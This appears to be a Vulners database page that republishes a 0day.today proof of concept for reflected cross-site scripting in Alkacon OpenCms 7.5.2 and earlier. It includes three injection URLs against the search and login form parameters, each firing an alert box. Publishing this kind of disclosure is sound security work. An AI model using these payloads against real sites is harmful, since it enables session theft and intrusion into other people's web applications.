Lucene search
K

Alkakon OpenCms 7.5.2 and below non persistent XSS

🗓️ 18 Feb 2010 00:00:00Reported by EgoPLType 
zdt
 zdt
🔗 0day.today👁 26 Views

Alkakon OpenCms 7.5.2 and below non persistent XSS vulnerabilit

Code
==================================================
Alkakon OpenCms 7.5.2 and below non persistent XSS
==================================================

# Exploit Title: Alkakon OpenCms 7.5.2 and below non persistent XSS.
# Author: EgoPL
# Software Link: http://www.opencms.org/en/
# Version: 7.5.2 and below.
# Tested on: Arch Linux + Apache Tomcat but it's OS independent.

# Description of the webapp:

OpenCms is a complete and powerful open source web content management system. Alkacon Software GmbH is the official maintainer and the major contributor for OpenCms.

OpenCms provides powerful features especially suited for medium and large enterprise internet or intranet applications.

OpenCms is a Java and XML based system, completly build from open source components. This means OpenCms be deployed on almost any existing IT infrastructure without high licensing costs.

# XSS by the Wikipedia.

Cross-site scripting holes are web application vulnerabilities which allow attackers to bypass client-side security mechanisms normally imposed on web content by modern browsers. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access privileges to sensitive page content, session cookies, and a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are therefore a special case of code injection.

# Proof of concept (Because I need to sleep and I dont want to do anything more elaborated, anyway, that's a "dummy bug"

Search Form:
http://www.example.com/opencms/search.html?action=search&searchPage=1&query=>"><script>alert("EgoPL says: Hi, I'm in a XSS"</script>&submit=GO

Login-form (not the admin login form and It's located in extra in the "demo_en" default installation of OpenCMS but really can be in the index or anywhere, name and requestedResource are vulnerable.)


Using name:
http://www.example.com/opencms/extra/login.html?name=<body+xonload=alert("I'm at @EgoPL in Twitter">&password=securepassword&action=login&requestedResource=%252Fdemo_en%252Fextra%252Fextranet%252Findex.html

Using requestedResource:
http://www.example.com/opencms/extra/login.html?name=EgoPL&password=4815162342&action=login&requestedResource=>"><script>alert("I love Lost, I saw today Lost 6x04"</script>



#  0day.today [2018-01-10]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Feb 2010 00:00Current
7.1High risk
Vulners AI Score7.1
26